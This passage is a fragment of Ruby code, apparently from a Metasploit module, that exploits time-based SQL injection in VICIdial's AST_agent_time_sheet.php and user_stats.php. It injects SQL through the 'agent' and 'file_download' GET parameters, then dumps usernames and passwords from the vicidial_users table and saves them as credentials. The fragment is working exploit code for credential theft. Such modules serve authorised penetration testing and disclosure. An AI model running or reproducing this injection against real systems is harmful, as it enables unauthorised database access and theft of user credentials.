agentcall_email method'        inject_admin_page('agentcall_email', payload)      elsif datastore['ACTION'] == 'List Users - agent_time_sheet method'        res = send_request_cgi({          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, 'vicidial', 'AST_agent_time_sheet.php'),          'headers' => basic_auth,          'vars_get' => {            'agent' => "0' AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND '#{d}'='#{d}"          }        })      elsif datastore['ACTION'] == 'List Users - user_stats method'        res = send_request_cgi({          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, 'vicidial', 'user_stats.php'),          'headers' => basic_auth,          'vars_get' => {            'DB' => '',            'pause_code_rpt' => '',            'park_rpt' => '1',            'did_id' => '',            'did' => '',            'begin_date' => Date.today.to_s,            'end_date' => Date.today.to_s,            'user' => '',            'submit' => 'submit',            'search_archived_data' => '',            'NVAuser' => '',            'file_download' => "1' AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND '#{d}'='#{d}"          }        })      end    end    unless @sqli.test_vulnerable      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")      return    end    columns = ['user', 'pass']    print_status('Enumerating Usernames and Password Hashes')    data = @sqli.dump_table_fields('vicidial_users', columns, '', datastore['COUNT'])    table = Rex::Text::Table.new('Header' => 'vicidial_users', 'Indent' => 1, 'Columns' => columns)    data.each do |user|      create_credential({        workspace_id: myworkspace_id,        origin_type: :service,        module_fullname: fullname,        username: user[0],        private_type: :password,        private_data: user[1],        service_name: 'VICIdial',        address: ip,        port: datastore['RPORT'],        protocol: 'tcp',        status: Metasploit::Model::Login::Status::UNTRIED      })      table << user    end    print_good('Dumped table contents:')    print_line(table.to_s)  endend

Tag

#php